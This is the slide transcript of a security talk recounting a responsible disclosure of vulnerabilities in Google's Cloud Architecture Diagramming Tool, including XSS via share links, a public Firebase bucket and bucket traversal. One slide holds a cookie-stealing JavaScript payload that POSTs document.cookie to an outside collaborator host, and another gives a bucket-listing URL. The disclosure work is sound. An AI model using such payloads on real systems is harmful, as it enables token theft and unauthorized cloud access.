Sketchy Cheat Sheet: Story of a Cloud Architecture Diagramming tool gone wrong

This presentation goes over the details of a responsible disclosure process, which took place between November 2023 and July 2024.

Throughout this period, I've reported a series of vulnerabilities & misconfigurations in Google's Architecture Diagramming Tool.

The severity of disclosed shortcomings & potential customer impact, resulted in said service getting quarantined indefinitely 🚧

Transcript

1. Sketchy Cheat Sheet Story of a Cloud Architecture Diagramming tool gone wrong Jakub Domeracki Sr. Cloud Security Engineer @ Egnyte Sketchy Cheat Sheet Story of a Cloud Architecture Diagramming tool gone wrong Jakub Domeracki Sr. Cloud Security Engineer @ Egnyte
2. Agenda 🌤 Preface 🌩 Unplanned Bug Bounty hunt 🌩 Unauthorized access to 30k share links 🌩 Surprising bypass 🌩 Poisoning predefined architectures 🌩 Getting access to the source code 🌩 Bucket traversal ⛅ Key takeaways Disclaimer I performed this research independently. The views and opinions expressed do not necessarily reflect those of my employer.
3. Preface This presentation goes over the details of a responsible disclosure process, which took place between November 2023 and July 2024. Throughout this period, I've reported a series of vulnerabilities & misconfigurations in Google's Architecture Diagramming Tool The severity of disclosed shortcomings & potential customer impact, resulted in said service getting quarantined indefinitely 🚧 Reference: https://cloud.google.com/blog/topics/developers-practitioners/introducing-google-cloud-architecture-diagramming-tool
4. „Responsible disclosure, also known as coordinated vulnerability disclosure, is a process in which security researchers or ethical hackers discover vulnerabilities, weaknesses, or flaws in software, hardware, or systems and report them to the affected organization or vendor. The main goal of responsible disclosure is to improve security by addressing vulnerabilities before they can be exploited by malicious actors.” Responsible Disclosure Reference: https://www.hackerone.com/knowledge-center/why-you-need-responsible-disclosure-and-how-get-started
5. Unplanned Bug Bounty hunt Reference: ADT/ADT User Guide - External.pdf It was a an early morning back in mid November 2023, when I decided that it's high time to prepare a diagram of a solution, that I was working on for quite some time at this point. As usual, I went ahead and opened mu goto Diagramming Tool -> https://googlecloudcheatsheet.withgoogle.com/architecture
6. Breaking changes To my surprise, a dreaded Sign-in button welcomed me for the first time Soon it became obvious that singing in is not the only thing that changed in version 0.2.3 Some functionality like uploading diagrams to Google Drive stopped working while other features like Generate Terraform got introduced. Reference: https://twitter.com/rseroter/status/1725601467107876882 & https://twitter.com/pvergadia/status/1725217430547677607
7. Backtracking from impact to attack scenario When I picked a GCE VM resource, the client-side JavaScript code validated that the configuration fields get populated. The expression on my face, when I clicked on the project dropdown list must have been priceless as approx. 300 Project IDs of the organization that I work for got listed, ready to be picked 😲 While in itself it might not seem like that big of a deal, I quickly realized that somehow this third-party app can query my employers GCP Org using my highly privileged, post-MFA credentials. // I had to figure out how this app got an Access Token without my explicit grant
8. Google Cloud IAM 101 Reference:
9. Dissecting the OAuth URL Google APIs implement and extend the OAuth 2.0 framework. See the documentation for your environment and use case for details. Actual URL sent during the Sign-in process: https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?gsiwebsdk=3&client_id=255437329003-lvuu51v6jt8u43ee3u3r5opb3 3dk39jp.apps.googleusercontent.com&scope=openid%20profile%20email%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-pla tform.read-only&redirect_uri=storagerelay%3A%2F%2Fhttps%2Fgooglecloudcheatsheet.withgoogle.com%3Fid%3Dauth612636&prompt=sel ect_account&response_type=token&include_granted_scopes=true&enable_granular_consent=true&service=lso&o2v=2&theme=mn&ddm=0& flowName=GeneralOAuthFlow Among the many query parameters, some of which some are idiosyncratic, the most interesting one from my perspective was: scope=openid%20profile%20email%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform.read-only It’s important to note that an OAuth Consent Screen was not implemented (!) Reference: https://cloud.google.com/docs/authentication#oauth2
10. Sensitive scopes Scope cloud-platform.read-only is sensitive, which means that an app must undergo security verification before being run in production. An Access Token scoped with it, would provide at maximum read-only access to 15 distinct Google Cloud APIs, most notably: • App Engine Admin API • BigQuery API • Cloud Bigtable Admin API • Cloud Storage JSON API • Cloud Resource Manager API Reference: https://developers.google.com/identity/protocols/oauth2/production-readiness/sensitive-scope-verification To verify scopes granted to a given token one can perform a simple check and that’s exactly what I did 👇
11. How is the token stored I knew, that there were pretty much two viable options where the short lived token could be stored: 1. localStorage/sessionStorage 2. Set in a Cookie Quick check proved that option #2. was at play and what's important to note is that HttpOnly attribute was not set for the Cookie in question called accessToken. Reference: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#httponly This made some sense since the calls to Google APIs were made dynamically on the client-side via XMLHttpRequest, so Javascript had to have access to the Cookie's value. At the same, it also meant that any potential XSS would be high severity issue.
12. Hunting for the XSS Reference: https://github.com/advisories/GHSA-v7v8-gjv7-ffmr & CVE-2023-26140
13. Self-XSS Reference: https://developer.chrome.com/blog/self-xss
14. Proving exploitability Reference: https://semgrep.dev/docs/semgrep-supply-chain/glossary#exploitability (Un)fortunately the application provided a feature which made exploitation possible -> read-only share links ...The interface also lets you share your diagram with your team and colleagues or add it to documentation.
15. Crafting the payload javascript://%0afetch('https://zsv3yx9zsfh8o5n7j842a52olfr6f z3o.oastify.com',%20{%20method:%20'POST',%20mode:%20'no-cors ',%20body:document.cookie%20}) Reference: https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies Sometimes creating a proper payload that bypasses all security controls & satisfies all constraints at the some time, is the most difficult part of the research… …this was not one of those instances
16. Attack scenario diagram #1 Reference: https://excalidraw.com/#json=qRya3OPGHv4sobYBw_BqT,ZARpkJA0myG2L15C88w9SA
17. Nice catch! #1 🎉 Reference: https://youtu.be/IoXiXlCNoXg?list=PL590L5WQmH8dsxxz7ooJAgmijwOz0lh2H&t=700
18. Digging into the share links feature Reference: https://web.archive.org/web/20231123113753js_/https://googlecloudcheatsheet.withgoogle.com/_next/static/chunks/pages/_app-d2f2d14076be3f86.js Soon after having received the initial reward from the VRP Panel, I decided to dig deeper into the link sharing feature itself. Having generated & shared a few of those myself, I had clear vested interest to find out: what if I could access diagrams of other users? 🤔 Some examples: https://googlecloudcheatsheet.withgoogle.com/architecture?link=588e8130-892a-11ee-8127-114320374db6 https://googlecloudcheatsheet.withgoogle.com/architecture?link=08bcd560-8931-11ee-8515-fd9ac1a981d6 https://googlecloudcheatsheet.withgoogle.com/architecture?link=9a2d1170-8983-11ee-a3fe-3bc7acaa8e95
19. Firebase (in)secure storage Reference: https://firebase.google.com/docs/storage
20. Firebase security rules Reference: https://firebase.google.com/docs/storage/security
21. Secure-by-Default „Secure-by-Default products are those that are secure to use “out of the box” with little to no configuration changes necessary and security features available without additional cost. Together, these two principles move much of the burden of staying secure to manufacturers and reduce the chances that customers will fall victim to security incidents resulting from misconfigurations, insufficiently fast patching, or many other common issues.” Reference: https://www.cisa.gov/sites/default/files/2023-10/SecureByDesign_1025_508c.pdf
22. Demo App repurposed Reference: https://www.geeksforgeeks.org/how-to-list-all-the-files-from-firebase-storage-using-reactjs/
23. Unauthorized access to 30k share links Reference: https://firebase.google.com/docs/storage/web/list-files#list_all_files https://firebasestorage.googleapis.com/v0/b/sustained-racer-323200.appspot.com/o?prefix=sharedLinks%2F&delimiter=%2F If only had I known that a simple partially url-encoded GET request would work as well…
24. Mitigation Reference: https://csrc.nist.gov/glossary/term/mitigation After a few months of no status updates, I decided to take a look at the state of affairs myself. As it turned out my initial PoC approach stopped working - I could still achieve self-XSS but when I attempted to generate a shear link, the payload was getting removed, This effectively broke the attack chain, or at least that’s what I thought.
25. Surprising bypass Reference: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html#client-side-vs-server-side-validation // what if sanitization takes place only on the client-side & and there’s no check on the server-side? 🤔
26. Reproduction steps Reference: https://bughunters.google.com/learn/improving-your-reports/how-to-report/6029551655976960/help-us-quickly-reproduce-the-bug
27. Attack scenario diagram #2 Reference: https://excalidraw.com/#json=qRya3OPGHv4sobYBw_BqT,ZARpkJA0myG2L15C88w9SA In the meantime impact has increased from gaining read-only to full GCP IAM permissions of the victim, due to the fact that the application now expects the cloud-platform OAuth Scope to be granted (broadest one there is when it comes to GCP APIs) https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?gsiwebsdk=3&client_id=255437329003-lvuu51v6jt8u43ee3u3r5opb33dk39jp.apps.googleusercontent.com& scope=openid%20profile%20email%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&redirect_uri=storagerelay%3A%2F%2Fhttps%2Fgooglecloudcheats heet.withgoogle.com%3Fid%3Dauth612636&prompt=select_account&response_type=token&include_granted_scopes=true&enable_granular_consent=true&service=lso&o2v=2&th eme=mn&ddm=0&flowName=GeneralOAuthFlow (still online)
28. Poisoning predefined architectures Reference: ADT/ADT User Guide - External.pdf
29. Reference: https://docs.excalidraw.com/docs/codebase/json-schema Overwriting objects
30. Attack vectors
31. Benevolent injection
32. Benevolent injection
33. Attack scenario diagram #3 Reference: https://excalidraw.com/#json=69oFnQvWYhqWwVpxdm1RV,fwdqY11MB5J9WCOkf3g_iw
34. Getting access to the source code Reference: https://gerrit-review.googlesource.com/Documentation/access-control.html Anonymous user could’ve read and git clone repositories from: https://atc-team.googlesource.com/ One could’ve also read all the git commit messages, comments etc.: https://atc-team-review.googlesource.com/ I was able to track changes meant to mitigate / fix issues I reported: https://issuetracker.google.com/issues/312687013 -> https://atc-team-review.googlesource.com/c/google-4-words/+/8280/1/hooks/useArchitecture.tsx https://issuetracker.google.com/issues/313685590 -> https://atc-team-review.googlesource.com/c/adt-terraform/+/8220 During typical black box testing, I stumbled upon an email of a Googler working on the project in scope Driven by curiosity I simply Google-searched their email and the results turned out to be quite surprising ie. indexed commits from a seemingly internal Gerrit instance. One of the projects contained the entire source code of: https://googlecloudcheatsheet.withgoogle.com/architecture
35. Bucket traversal // what if I could fetch objects from buckets different than intended? 🤔 Reference: https://web.archive.org/web/20231123113753js_/https://googlecloudcheatsheet.withgoogle.com/_next/static/chunks/pages/_app-d2f2d14076be3f86.js
36. Generate Terraform Reference: ADT/ADT User Guide - External.pdf
37. Cloud Storage Signed URLs Reference: https://cloud.google.com/storage/docs/access-control/signed-urls
38. White box assessment Reference: https://pkg.go.dev/cloud.google.com/go/storage#readme-example-usage // apparently no input validation + string concat // eg. googlecloudcheatsheet.withgoogle.com // idiomatic usage // hardcoded static value
39. Unauthorized access to Terraform Artifacts
40. Stumbling on a silently fixed vuln in Go Cloud Storage client library Reference: https://github.com/googleapis/google-cloud-go/pull/8017 One could reasonably postulate a following security invariant: For given instance of client.Bucket({bucket}).Object({object}).NewReader(ctx), no value of {object} should result in a download from a Bucket != {bucket}
41. Attack scenario diagram #4 Reference: https://excalidraw.com/#json=qRya3OPGHv4sobYBw_BqT,ZARpkJA0myG2L15C88w9SA
42. Full timeline Nov 22, 2023: Initial submission of issu.ee/312687013 Nov 22, 2023: Status: Won't Fix (Not Reproducible) Nov 23, 2023: Clarification + full PoC Nov 23, 2023: 🎉 Nice catch! (P2,S2) Nov 28, 2023: Submitted report on the misconfigured Firebase Cloud Storage bucket allowing read & write operations issu.ee/313685590 Nov 30, 2023: 🎉 Nice catch! (P2,S2) Dec 27, 2023: issu.ee/313685590 status changed to fixed Mar 16, 2024: Found out that the bucket is still publicly readable & writable Mar 20, 2024: issu.ee/313685590 got reopened & assigned Mar 28, 2024: VRP Panel decided not to reward monetarily for the second time, but got a coupon for a cool hat instead Apr 06, 2024: Reported a bypass of the mitigation introduced somewhen in Q1 2024 and submitted a new report issu.ee/333194226 Apr 10, 2024: 🎉 Nice catch! (P2,S2) Jun 15, 2024: Ability to overwrite deployable architectures opens room for RCE in victim's GCP infrastructure issu.ee/347462501 Jun 26, 2024: 🎉 Nice catch! (P2,S2) Jun 26, 2024: Reported anonymous access to a Gerrit instance containing the backend source code issu.ee/349432799 Jun 27, 2024: Unauthorized access to a GCS bucket containing Terraform artifacts via a misconfigured Cloud Function issu.ee/349831037 Jun 27, 2024: 🎉 Nice catch! (P1,S1) Jul 02, 2024: 🎉 Nice catch! (P2,S2) Jul 03, 2024: https://googlecloudcheatsheet.withgoogle.com/architecture got taken down 🚧
43. Key takeaways 🌞 Misconfigurations remain to be the most common root cause of Cloud Security issues 🌞 Ambiguity breeds vulnerabilities (looking at you Firebase) ◦ Recommended reading: https://google.github.io/building-secure-and-reliable-systems/raw/ch06.html 🌞 Acting ethically pays dividend in the long run
44. Thank you for watching! Contact information: jakub.domeracki@protonmail.com https://www.linkedin.com/in/jakub-domeracki/ Please rate the talk and provide feedback at: https://thehacksummit.com/user.html#!/lecture/THS24-26d3/rate